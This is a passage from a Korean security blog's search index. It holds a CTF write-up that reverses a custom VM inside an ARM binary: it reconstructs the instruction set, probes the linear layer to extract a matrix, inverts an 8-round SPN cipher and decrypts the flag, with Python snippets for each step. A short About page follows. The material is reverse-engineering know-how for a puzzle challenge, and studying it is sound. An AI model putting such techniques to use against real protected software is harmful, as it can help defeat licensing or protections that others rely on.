open(\u0026#39;firmware.bin\u0026#39;, \u0026#39;wb\u0026#39;) as out: out.write(firmware_data) 3. ISA 복원 명령어 인출부의 비트 연산이 형식을 그대로 보여준다.\n1 2 3 4 5 6 word = byte3 \u0026lt;\u0026lt; 24 | byte2 \u0026lt;\u0026lt; 16 | byte1 \u0026lt;\u0026lt; 8 | byte0; imm16 = word \u0026amp; 0xffff; rd = byte2 \u0026gt;\u0026gt; 4; rs1 = byte2 \u0026amp; 0xf; rs2 = byte0 \u0026amp; 0xf; 4바이트 고정폭이고, 리틀엔디안 32비트 워드로 읽으면 배치가 정리된다.\n1 2 3 4 5 31 24 23 20 19 16 15 0 +--------+------+------+------------------+ | opcode | rd | rs1 | imm16 | +--------+------+------+------------------+ rs2 = imm16 \u0026amp; 0xF 레지스터 두 개가 한 바이트에 니블 단위로 들어가고, 3피연산자 명령은 rs2를 즉치값 하위 니블에서 다시 꺼내 쓴다. 즉치값을 쓰는 명령과 레지스터 세 개를 쓰는 명령이 같은 필드를 겹쳐 쓴다.\n부호 확장은 이렇게 처리한다.\n1 imm16_s = (byte1 \u0026lt;\u0026lt; 8) \u0026amp; 0x8000 ? (word | 0xffff0000) : imm16; 분기 목적지는 uVar2 + imm16_s이고 uVar2는 이미 pc + 4다. 즉 **pc + 4 + offset**이지 pc + offset이 아니다. 명령 하나를 인출하며 PC를 먼저 올리는 구조라 그렇다. 이 4바이트 차이 때문에 분기가 한 명령씩 밀려 보이는 실수가 흔하다.\nopcode 표 opcode 명령 동작 0x00 HALT 종료 0x11 MOV rd = rs1 0x29 ROLI rd = rotl(rs1, imm \u0026amp; 31) 0x2a ROR rd = rotr(rs1, byte0 \u0026amp; 31) 0x2b SHL rd = rs1 \u0026lt;\u0026lt; (byte0 \u0026amp; 31) 0x2c SHR rd = rs1 \u0026gt;\u0026gt; (byte0 \u0026amp; 31) 0x3a MOVI rd = imm16 0x52 XOR rd = rs1 ^ rs2 0x53 AND rd = rs1 \u0026amp; rs2 0x54 OR rd = rs1 | rs2 0x6b MUL rd = rs1 * rs2 0x7c ADD rd = rs1 + rs2 0x7d SUB rd = rs1 - rs2 0x80 ADDI rd = rs1 + imm16 0x90 CMP Z = (rs1 == rs2) 0xa0 JMP 무조건 분기 0xa1 JZ Z면 분기 0xa2 JNZ Z가 아니면 분기 0xc4 LDR rd = RAM[(rs1 + imm16) \u0026amp; 0xffff] 0xc5 STR RAM[(rs1 + imm16) \u0026amp; 0xffff] = rd \u0026amp; 0xff 0xc6 LDR_ROM rd = ROM[(rs1 + imm16) % 0x131e] 0xe0 GETC 입력 한 바이트, 소진 시 Z = 1 0xe1 PUTC rs1 \u0026amp; 0xff 출력 opcode가 상위 니블 기준으로 묶여 있어 표를 채우는 속도가 붙는다. 0x29가 회전 계열로 확인되면 0x2a~0x2c도 같은 계열이라고 보고 검증하면 된다.\n메모리 접근이 RAM과 ROM으로 갈리는 점이 중요하다. 상수 테이블이 코드와 같은 이미지 안에 있다는 뜻이고, 실제로 S-box와 라운드 키가 거기서 나온다.\n대회 당시의 오류 세 가지 아래 표는 대회 중 작성한 디스어셈블러와 재검토 후 확인한 실제 동작의 차이다. 셋 다 그때는 잡지 못했고, 그래도 풀이는 통과했다.\n항목 당시 표기 실제 동작 0x2a~0x2c 시프트량 r{rs2} 즉치값 byte0 \u0026amp; 0x1f 0x29 회전량 imm16_s (-imm) \u0026amp; 0x1f (실질 좌회전) 0xa1 / 0xa2 JNZ / JZ JZ / JNZ 시프트 계열은 rs2 = byte0 \u0026amp; 0xf와 시프트량 byte0 \u0026amp; 0x1f의 하위 4비트가 겹친다. 그래서 대부분의 명령에서 같은 숫자가 찍히고, bit 4가 서는 경우에만 어긋난다. 눈으로 훑어서는 잡히지 않는 종류의 오류다.\n분기 극성은 완전히 반대였다. 그런데도 결과에 영향이 없었던 이유는 5단계에서 드러난다. 실제로 읽어야 했던 선형 계층 구간에 분기가 하나도 없었기 때문이다. 분기가 섞인 구간을 해석해야 했다면 흐름을 통째로 잘못 따라갔을 것이다.\n풀이가 통과한 것과 ISA를 정확히 복원한 것은 별개다. 이 문제에서는 필요한 부분만 맞으면 됐다.\n플래그 갱신 범위 단일 Z 플래그 하나뿐인데, 갱신 주체가 CMP만이 아니다. ADD·SUB·AND·OR·XOR·MUL·ADDI가 전부 결과가 0인지로 이 플래그를 건드리고, GETC도 입력이 소진되면 세운다. 조건 분기 앞에 산술 명령이 하나 끼는 것만으로 의미가 바뀌므로 직전 명령을 같이 봐야 한다.\n디스어셈블러 1 2 3 4 5 6 7 8 9 opcode = byte3 reg_dest = (byte2 \u0026gt;\u0026gt; 4) \u0026amp; 0xF reg_src1 = byte2 \u0026amp; 0xF reg_src2 = byte0 \u0026amp; 0xF imm16_u = (byte1 \u0026lt;\u0026lt; 8) | byte0 imm16_s = imm16_u if not (imm16_u \u0026amp; 0x8000) else imm16_u - 0x10000 jmp_target = pc + 4 + imm16_s 4. 데이터 영역 분류 디스어셈블 결과에서 코드가 끝나는 지점을 찾으면 그 뒤는 전부 데이터다.\n오프셋 크기 내용 0x0000 ~ — 코드 (0x0070~0x1018이 선형 계층) 0x10c4 256 S-box 0x11c4 288 라운드 키 9 × 32 0x12e4 32 목표 상태 0x1304 26 암호화된 플래그 0x131e 끝 마지막이 0x131e에서 정확히 끝난다. 1단계에서 확보한 크기와 맞아떨어지므로 분류가 빠짐없이 됐다고 볼 수 있다.\nS-box는 256바이트에 값이 중복 없이 채워져 있어 바로 알아볼 수 있다. 라운드 키가 9개이고 상태가 32바이트라는 점에서 구조가 정해진다. 8라운드 SPN이다. 라운드마다 키를 더하고, S-box로 치환하고, 선형 계층으로 섞는다. AES와 뼈대가 같고 파라미터만 다르다.\n목표 상태가 펌웨어에 박혀 있다는 것은 입력을 암호화한 결과를 이 값과 비교한다는 뜻이다. 되돌리면 요구되는 입력이 나온다.\n5. 선형 계층 행렬 추출 여기서 방법을 갈랐다.\nS-box와 라운드 키는 테이블이라 잘라내면 끝이다. 선형 계층은 테이블이 아니라 코드로 구현되어 있다. 0x0070부터 0x1018까지 약 4KB, 명령 수로 천 개 단위가 전부 그 부분이다.\n명령을 하나씩 읽어 어떤 입력 바이트가 어떤 출력 바이트에 XOR되는지 손으로 추적할 수는 있다. 다만 언롤된 LDR/XOR/STR 반복이라 옮겨 적는 과정에서 실수가 누적되고, 틀렸는지 확인할 방법도 마땅치 않다.\n대신 선형 변환의 성질을 이용한다. 각 출력 바이트가 입력 바이트 몇 개의 XOR이라면, 입력 하나만 바꿨을 때 값이 변하는 출력 자리가 그 입력이 기여하는 자리다. 32번 실행하면 32×32 행렬이 전부 나온다.\n1 2 3 4 5 6 7 8 9 base_out = run_mix_block(rom, [0]*32) mix_matrix = [[0] * 32 for _ in range(32)] for i in range(32): test_in = [0] * 32 test_in[i] = 1 out = run_mix_block(rom, test_in) for j in range(32): mix_matrix[j][i] = out[j] ^ base_out[j] base_out을 따로 재는 이유가 있다. 이 계층은 순수 선형이 아니라 상수가 더해진 아핀 변환이다. 영벡터를 넣어 상수항을 먼저 구하고 나머지를 그것과 XOR해 선형 부분만 남긴다. 이 처리를 빼면 행렬은 그럴듯하게 나오지만 역산 결과가 어긋난다.\n에뮬레이터는 opcode 세 개면 된다 탐침을 하려면 해당 구간을 실행해야 한다. VM 전체를 구현할 필요는 없다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def run_mix_block(rom, input_state): mem = [0] * 256 for i in range(32): mem[i] = input_state[i] regs = [0] * 16 pc = 0x0070 while pc \u0026lt; 0x1018: b0, b1, b2, opcode = rom[pc:pc+4] imm = (b1 \u0026lt;\u0026lt; 8) | b0 if opcode == 0xc4: # LDR regs[(b2 \u0026gt;\u0026gt; 4) \u0026amp; 0xF] = mem[regs[b2 \u0026amp; 0xF] + imm] elif opcode == 0xc5: # STR mem[regs[b2 \u0026amp; 0xF] + imm] = regs[(b2 \u0026gt;\u0026gt; 4) \u0026amp; 0xF] elif opcode == 0x52: # XOR regs[(b2 \u0026gt;\u0026gt; 4) \u0026amp; 0xF] = regs[b2 \u0026amp; 0xF] ^ regs[b0 \u0026amp; 0xF] pc += 4 return mem[128:160] 실제 RAM은 64KB지만 이 구간이 쓰는 주소는 입력 031, 출력 128159뿐이라 256바이트로 충분하다. opcode 세 개만 처리하고 분기 없이 처음부터 끝까지 직진한다.\n이게 성립하는 조건은 해당 구간이 완전히 언롤된 직선 코드라는 것이다. 고정된 32바이트 선형 변환이라 루프를 돌 이유가 없고, 디스어셈블 결과에도 그 구간에는 분기가 없다.\n확인하고 넘어갈 것. 실행 전에 해당 구간에 0xa0~0xa2가 없는지 확인하는 편이 안전하다. 하나라도 있으면 이 단순 실행기는 잘못된 결과를 내놓고, 그것도 조용히 그렇게 된다.\n전체 ISA를 복원한 작업이 헛되지는 않았다. 이 구간이 직선 코드이고 쓰이는 명령이 세 개뿐이라는 판단 자체가 디스어셈블 결과가 있어야 가능하다. 다만 실행기는 필요한 만큼만 만들면 된다.\n6. 역산 행렬을 GF(2)에서 역으로 만든다. 원소가 0과 1뿐이라 가우스 소거의 뺄셈이 XOR이 된다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def get_inverse_matrix(matrix): n = len(matrix) aug = [row[:] + [1 if i == j else 0 for j in range(n)] for i, row in enumerate(matrix)] for i in range(n): pivot = next((k for k in range(i, n) if aug[k][i] == 1), None) if pivot is None: sys.exit(1) aug[i], aug[pivot] = aug[pivot], aug[i] for k in range(n): if k != i and aug[k][i] == 1: for j in range(2*n): aug[k][j] ^= aug[i][j] return [row[n:] for row in aug] 피벗을 못 찾으면 즉시 종료하도록 두었다. 행렬이 특이행렬로 나온다는 것은 5단계의 탐침이 잘못됐다는 신호다. 정상적인 암호의 선형 계층은 항상 가역이므로 여기서 멈추는 편이 낫다.\n이제 목표 상태에서 8라운드를 거꾸로 감는다. 정방향이 키 XOR → S-box → 선형 계층 순이므로 역방향은 순서를 뒤집는다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 state = target[:] for r in range(8, 0, -1): state = [state[i] ^ round_keys[r][i] for i in range(32)] state = [state[i] ^ base_out[i] for i in range(32)] # 아핀 상수 제거 new_state = [0] * 32 for i in range(32): for j in range(32): if inv_mix_matrix[i][j]: new_state[i] ^= state[j] state = [inv_sbox[b] for b in new_state] required_input = [state[i] ^ round_keys[0][i] for i in range(32)] 라운드 키 인덱스에 주의한다. 키가 9개인데 라운드는 8회다. 마지막 라운드 뒤에 키를 한 번 더 더하는 구조이므로 역방향은 round_keys[8]에서 시작해 round_keys[0]으로 끝난다. 인덱스가 하나 밀리면 결과가 전부 어긋나는데 중간 검증 수단이 없어 원인을 찾기 번거롭다.\n7. 플래그 복호화 복구한 32바이트를 넣으면 검증은 통과한다. 다만 그것이 플래그는 아니다.\n0x1304에 26바이트가 별도로 있고, 이것이 패스워드로 XOR된 플래그다.\n1 2 enc_flag = list(rom[0x1304 : 0x1304 + 26]) flag = \u0026#34;\u0026#34;.join(chr(required_input[i] ^ enc_flag[i]) for i in range(26)) 검증 통과와 플래그 획득을 분리해둔 구성이다. 4단계에서 데이터 영역을 끝까지 분류해두지 않았다면 여기서 한 번 더 되돌아가야 했다.\n정리 ARM aarch64는 x86-64와 도구 및 접근 방식이 크게 다르지 않다. stripped PIE라는 조건이 더 큰 변수였다. 인터프리터 본체에 ROM 베이스와 크기, 레지스터 개수, RAM 크기가 전부 상수로 박혀 있다. 펌웨어를 뜯기 전에 이것부터 확보하면 이후 단계에서 추정할 일이 줄어든다. 커스텀 VM 문제는 ISA 복원이 끝이 아니다. 이번 경우 시간의 대부분은 복원된 어셈블리에서 암호 구조를 읽어내는 데 들어갔다. 언롤된 선형 코드는 읽는 것보다 실행해서 관측하는 편이 정확하고 빠르다. 32회 실행으로 행렬 전체를 얻었다. 부분 에뮬레이터로 충분한 경우가 많다. 다만 그 전제인 직선 코드 여부는 확인하고 넘어가야 한다. 전체 스크립트: ctf-writeups/2026-cyber-apocalypse/the-cinder-engine\n","permalink":"https://wjddml.github.io/writeups/the-cinder-engine/","summary":"stripped ARM aarch64 바이너리에 내장된 커스텀 VM의 ISA를 복원하고, 펌웨어 안에 구현된 8라운드 SPN 블록 암호를 역산해 플래그를 복구한다.","title":"The Cinder Engine — ARM 바이너리에 내장된 커스텀 VM 역산"},{"content":"spectatar IT ELUDED US THEN, BUT THAT\u0026rsquo;S NO MATTER—\nTOMORROW WE WILL RUN FASTER.\nSTRETCH OUT OUR ARMS FARTHER\u0026hellip;\nAND ONE FINE MORNING——\nSO WE BEAT ON, BOATS AGAINST THE CURRENT,\nBORNE BACK CEASELESSLY INTO THE PAST.\n활동 pwn.college · CTF Academy · VOLT\n관심 분야 바이너리 익스플로잇 · 커널 익스플로잇 마이크로아키텍처 사이드 채널 리버스 엔지니어링 (커스텀 VM, 난독화) 프로그래밍 언어 이론 · 정형 검증 심볼릭 실행 · 퍼징 가상머신 · 하이퍼바이저 지향 Web3 보안 감사 저수준 시스템 보안 ","permalink":"https://wjddml.github.io/about/","summary":"about","title":"About"}]